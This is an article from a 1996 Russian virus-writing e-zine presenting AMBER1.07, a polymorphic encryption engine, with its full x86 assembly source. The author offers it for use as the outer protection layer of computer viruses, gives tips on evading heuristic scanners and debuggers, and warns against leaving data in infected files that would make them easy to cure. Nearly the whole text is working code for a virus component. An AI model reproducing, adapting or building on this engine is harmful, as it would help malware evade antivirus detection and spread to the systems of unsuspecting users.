[Death Virii Crew] Presents CHAOS A.D. Vmag, Issue 2, Summer 1996 file 006 AMBER1.07@beta Полиморфный генератор шифровщиков и расшифровщиков. Вашему вниманию представляется моя новая ангина под названием AMBER. Это всего лишь beta версия, потому как релиз по всей видимости не выйдет никогда. Эта ангина долгое время являлась для меня просто развлечением. Я не писал этот проект затем, чтобы его написать. Он писался только ради процеса написания. По ходу нашего бренного существования я вставляю в эту ангину что-либо новое, что узнаю или придумаю. Даже тот вариант, что сейчас находится перед вами уже устарел, потому как пока журнал дойдет до вас я успею вставить в AMBER еще что-то. Отличие данной ангины от уже существующих заключается в весьма малом количестве байт самого расшифровщика. И безусловно эти байты постоянно мутируют на уровне различных регистров и взаимозаменяемых команд. Кроме этого присутствует генератор мусора с особенностью замены действующих регистров. Эта ангина предназначена для внешнего кольца защиты вируса. То есть: в ней принципиально отсутствуют антиэвристические и антиотладочные приемы. Вся сложность заключается в детектировании вируса, имеющего AMBER на внешнем уровне. Я ни в коем случае не рекомендую использовать ТОЛЬКО AMBER для защиты. В крайнем случае используйте интегрированные с вирусом варианты защиты (шифровка через стек, int 1) - для отладчиков и (приемы с портами, памятью, прерываниями) для эвристики. Возможно, если я посчитаю нужным, я сделаю AMBER многоуровневым именно для этих вещей. К моему большому сожалению процедуры мусора для генерации левых условных переходов и подпрограмм в эту версию не вошли (времени у меня нет). Использование ангины несколько отличается от использование других полиморфных генераторов. Все входящие значения задаются не в регистрах, а в специальной структуре. Структура приведена ниже. Комментарии к ней тоже. Память под структуру должен выделять сам вирус. Крайне рекомендуется перед и после использования ее обнулять. Hи в коем случае не сохраняйте заполненную структуру в зараженном файле - его будет легко вылечить. Примеры использования - вирусы ForeWord, Trivial в исходниках. А вообще-то, исходник самой ангины перед Вами - вперед. ;================================ резать тут ============================ ; AMBER1.07@beta MutationBase struc SegSource dw ? ; segment of source code OfsSource dw ? ; offset of source code LenSource dw ? ; len of source code StartIP dw ? ; entry point where start SegCrypt dw ? ; segment of destination OfsCrypt dw ? ; offset of destionation LenCrypt dw ? ; len of SizeDecr dw ? GenerReg db ? ; 0-ax,1-cx,2-dx,3-bx IndexReg db ? ; 1-bx,4-si,5-di UsedReg db ? ; 0-ax,1-cx,2-dx,3-bx,4-sp,5-bp,6-si,7-di ; bit is 0 - clear ; bit is 1 - used CryptMethod db ? Cryptkod dw ? e_mov1 dw ? e_mov2 dw ? e_xor dw ? e_cmp dw ? b1 db ? b2 db ? b3 db ? do db ? rout db ? pointer db ? _trash db ? start_amber dw ? MutationBase ends phantom: ;------------------------------ init mem --------------------------- call $+3 pop bp sub bp,3 call name_engine db '[AMBER1.07@beta]' ; (c) не менять ! name_engine: pop ax push cs pop ds mov [bx.start_amber],bp ;-------------------------- init registers ---------------------------- mov [bx.IndexReg],0 mov [bx.GenerReg],0 mov [bx.UsedReg],0 mov [bx._Trash],0 mov [bx.do],1 call get_index mov [bx.IndexReg],cl call get_gen mov [bx.GenerReg],cl ;---------------------------------Main code-------------------------------- mov di,[bx.OfsCrypt] mov ax,[bx.SegCrypt] mov es,ax mov si,inst-phantom add si,bp mov cx,lenOfInstr mov dh,[bx.GenerReg] mov dl,[bx.IndexReg] main: push cx xor cx,cx xor ax,ax lodsb mov cl,al dec cl call rnd shl cx,1 push bp si ax add si,cx lodsw add ax,bp call ax pop ax si bp shl ax,1 add si,ax call trash pop cx loop main mov ax,di sub ax,[bx.OfsCrypt] mov [bx.SizeDecr],ax ;----------------------------- correct decryptor -------------------------- mov bp,[bx.e_mov2] mov ax,di add ax,[bx.StartIP] sub ax,[bx.OfsCrypt] mov es:[bp+1],ax ; begin mov bp,[bx.e_cmp] add ax,[bx.LenSource] dec ax cmp [bx.b2],'8' jz _cm mov es:[bp+1],ax ; end jmp m@3 _cm: mov es:[bp+2],ax ; end m@3: ;------------------------ change mov1 & mov2 -------------------------- mov cx,10 call rnd cmp cx,5 ja not_change push ax mov bp,[bx.e_mov1] mov si,[bx.e_mov2] mov ax,es:[bp] xchg ax,es:[si] mov word ptr es:[bp],ax mov al,es:[bp+2] xchg al,es:[si+2] mov byte ptr es:[bp+2],al pop ax not_change: ;------------------------------- copy and crypt ------------------------ mov cx,[bx.LenSource] mov si,[bx.OfsSource] mov ax,[bx.SegSource] mov ds,ax mov dx,di dec dx cld rep movsb push cs pop ds mov ax,di sub ax,[bx.OfsCrypt] mov [bx.LenCrypt],ax mov al,[bx.CryptMethod] mov bp,oper-phantom add bp,[bx.start_AMBER] mov byte ptr cs:[bp],al mov ax,[bx.CryptKod] jmp _x _x: xor es:[di],ax oper equ $-2 dec di cmp di,dx jnz _x ret ;------------------------------ internal proc -------------------------- rnd: or cx,cx jz end_rnd push ax dx xor dx,dx kqwe: in ax,40h push cx ax in ax,40h mov cx,ax pop ax rcr ax,cl pop cx jnc ne89 inc dx ne89: loop kqwe mov cx,dx pop dx ax end_rnd: ret rndf: push ax in ax,40h ror ax,cl and ax,cx mov cx,ax pop ax ret ;-------------------------------------------------------------------------- check_used: mov al,1 rol al,cl test [bx.UsedReg],al jnz @No_c cmp [bx._trash],1 jz @trash or [bx.UsedReg],al @trash: clc ret @No_c: stc ret get_gen: ; Get non used General registers AX BX CX DX push ax @again1: mov cx,3 call rnd call check_used jc @again1 pop ax ret get_index: push ax @again2: mov cx,2 call rnd add cx,4 cmp cx,6 jne m@1 mov cx,1 m@1: push cx add cl,2 call check_used pop cx jc @again2 pop ax ret ;===================================== TRASH ============================= trash: push cx ax bp si mov [bx._trash],1 cld mov cx,8 call rnd add cx,7 ; count of cmds @circle: mov si,table_trash-phantom mov bp,[bx.start_AMBER] add si,bp push cx mov cx,4 call rnd ; number of trash functions shl cx,1 add si,cx ; si - addres of [adress] procedure lodsw add ax,bp call ax ; procedure of trash pop cx loop @circle mov [bx._trash],0 pop si bp ax cx ret ; tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt table_trash: dw offset trash1-phantom dw offset trash2-phantom dw offset trash3-phantom dw offset trash4-phantom dw offset trash5-phantom ; change used registers ;11111111111111111111111111111111111111111111111111111111111111111111111 trash1: mov si,bp add si,cmd1-phantom mov cx,5 call rnd add si,cx movsb ret cmd1: nop cmc clc stc cld std ;22222222222222222222222222222222222222222222222222222222222222222222222 trash2: mov cx,7 call rnd mov al,cl mov cl,3 shl al,cl ; add,or,adc,sbb,and,sub,xor,cmp call rnd add al,cl stosb ; r/m,r8 ; r/m, r16 ; r8,r/m ; r16,r/m ; push cx call get_gen mov ah,cl mov al,cl ; reg shl ah,1 shl ah,1 shl ah,1 mov cl,5 call rnd add ah,cl ; r8|16,r/m push cx mov cx,10 call rnd cmp cl,5 pop cx ja nun add ah,0c0h ; reg,reg nun: shl cl,1 shl cl,1 shl cl,1 add al,cl add al,0c0h ; r/m (r8|r16) , r8|r16 pop cx shr cl,1 ; cl=0 - r/m, r8|r16 ; cl=1 - r8/r16, r/m xchang: xchg al,ah loop xchang stosb ret ;333333333333333333333333333333333333333333333333333333333333333333333333 trash3: mov si,bp add si,cmd2mov-phantom mov cx,1 ; mo in future call rnd add si,cx lodsb mov cx,0ffh call rnd mov ah,cl call get_gen add al,cl stosw ret cmd2mov: db 0b0h ; - mov r8(al),xx db 0b4h ; - mov r8(ah),xx ;444444444444444444444444444444444444444444444444444444444444444444444 trash4: mov si,bp add si,cmd3mov-phantom mov cx,1 call rnd add si,cx lodsb or cl,cl jz _gen_ call get_index jmp _us_ _gen_: call get_gen _us_: add al,cl stosb mov cx,0ffffh call rndf mov ax,cx stosw ret cmd3mov: db 0b8h ; - mov r16(gen),xx db 0bah ; - mov r16(index),xx ;555555555555555555555555555555555555555555555555555555555555555555555 trash5: cmp [bx.do],1 jz alas mov cl,[bx.GenerReg] push cx ; save old reg mov al,1 rol al,cl not al mov [bx._trash],0 ; Register must be reserved call Get_gen ; get other reg mov [bx._trash],1 ; Registers 4 trash mov [bx.GenerReg],cl ; new mov dh,cl and [bx.UsedReg],al ; free the old reg mov al,87h ; xchg r16,r/m push cx mov cx,10 call rnd cmp cx,7 mov cx,4 mov [bx.rout],2 ; not change ja ok_mov mov cx,7 call rnd mov [bx.rout],cl ; to be or not to be ? :))) xor cx,cx ok_mov: add al,cl ; if cl = 4 mov r16,r/m pop cx stosb pop ax mov ah,cl ; is new ; al - is old ; ah - is new ; may be xchg ? xor cx,cx mov cl,[bx.rout] agazaza: xchg al,ah loop agazaza ;------------------ shl ah,1 shl ah,1 shl ah,1 add ah,0c0h add al,ah stosb alas: ret ;--------------------------init decrypt code----------------------------- ;--------push--------- h_push1: mov al,0eh ; push cs stosb call trash ;)))) mov al,1fh ; pop ds stosb ret h_push2: mov cl,3 call rnd mov al,1 rol al,cl mov ah,[bx.UsedReg] or [bx.UsedReg],al push ax ; set reg mov al,08ch stosb mov al,0c8h ; mov reg,cs add al,cl stosb call trash pop ax mov [bx.UsedReg],ah ; - unset reg ;)))))) mov al,8eh ; mov ds,reg stosb mov al,0D8h add al,cl stosb ret ;-------- mov1-------- h_mov1: mov [bx.e_mov1],di ; base mov al,0b8h add al,dh stosb mov cx,0ffffh call rndf mov ax,cx mov [bx.CryptKod],ax stosw call trash ret ;---------mov2-------- h_mov2: mov [bx.e_mov2],di ; base mov al,0bah add al,dl stosb stosw mov [bx.do],0 ret ;---------xor--------- h_xor1: mov al,01h ; add ; mov [bx.cryptmethod],29h jmp h_xor_gen h_xor2: mov al,29h ; sub ; mov [bx.cryptmethod],1 jmp h_xor_gen h_xor3: mov al,31h mov [bx.cryptmethod],al h_xor_gen: mov [bx.e_xor],di ; base stosb mov al,8 mul dh add al,dl cmp dl,1 jne @_2 add al,6 @_2: stosb mov [bx.do],1 ; not xchg registers more ret ;---------inc---------- h_inc: mov al,42h add al,dl stosb ret ;---------cmp---------- h_cmp1: mov [bx.e_cmp],di ; base mov [bx.b2],'8' mov al,81h stosb mov al,0fah add al,dl stosb stosw jmp real h_cmp2: mov [bx.e_cmp],di ; base mov [bx.b2],'3' call get_gen push cx @776: mov al,0b8h add al,cl stosb stosw call trash pop cx mov al,1 rol al,cl not al and [bx.UsedReg],al ; - Unset ; mov al,3bh stosb ;xchg place registers - first where cmp ax,si (ax - promez, si - index) ; - second where cmp si,ax (ax - promex, si - index) ; flags bellow must be changed push cx mov cx,10 call rnd cmp cx,5 pop cx ja second first: mov al,8 mul cl add al,0c2h add al,dl mov [bx.b1],'F' jmp as12 ; must be ja,jae,jnz second: mov al,8 mul dl add al,0d0h add al,cl mov [bx.b1],'S' ; must be jb.jbe,jnz as12: stosb ;------- pushf or lahf --- real: cmp dh,0 ; of ax used then pushf jz _pushf mov cx,10 call rnd cmp cl,4 ja _pushf mov al,9fh ; lahf mov [bx.b3],'L' or [bx.UsedReg],1 ; ax now is used stosb ret _pushf: mov al,9ch ; pushf mov [bx.b3],'P' stosb ret ;---------jnz---------- h_jnz: ;---- popf or sahf ---- mov bp,[bx.e_cmp] mov al,9dh ; popf cmp [bx.b3],'P' ; if pushf jz ala mov al,[bx.UsedReg] shr al,1 shl al,1 mov [bx.UsedReg],al ; ax now is free mov al,9eh ; sahf ala: stosb mov bp,di cmp [bx.b2],'8' jz second_j cmp [bx.b1],'S' jz second_j first_j: ; ja mov cx,2 call rnd shl cx,1 mov al,73h add al,cl jmp set_flags second_j: ; jb mov al,71h add al,dl set_flags: stosb mov dx,[bx.e_xor] mov ax,0feh add ax,dx sub ax,bp stosb call trash call trash ret ;--------------------------- MAIN TABLE ============================ inst: ;------------------------------ db 2 ; number of dif. instr. dw h_push2-phantom ; (mov reg,cs/trash/mov cs,reg) dw h_push1-phantom ; addres of 1 handler (push cs/trash/pop ds ) ;------------------------------ db 1 dw h_mov1-phantom ;------------------------------ db 1 dw h_mov2-phantom ;------------------------------ db 3 dw h_xor3-phantom ; xor dw h_xor2-phantom ; sub dw h_xor1-phantom ; add ;------------------------------ db 1 dw h_inc-phantom ;------------------------------ db 2 dw h_cmp2-phantom ; 3 dw h_cmp1-phantom ; 8 ;------------------------------ db 1 dw h_jnz-phantom ;------------------------------ len_inst equ $-inst LenOfInstr equ 7 dw 0 ;================================ резать тут ============================ (c) by Reminder [DVC]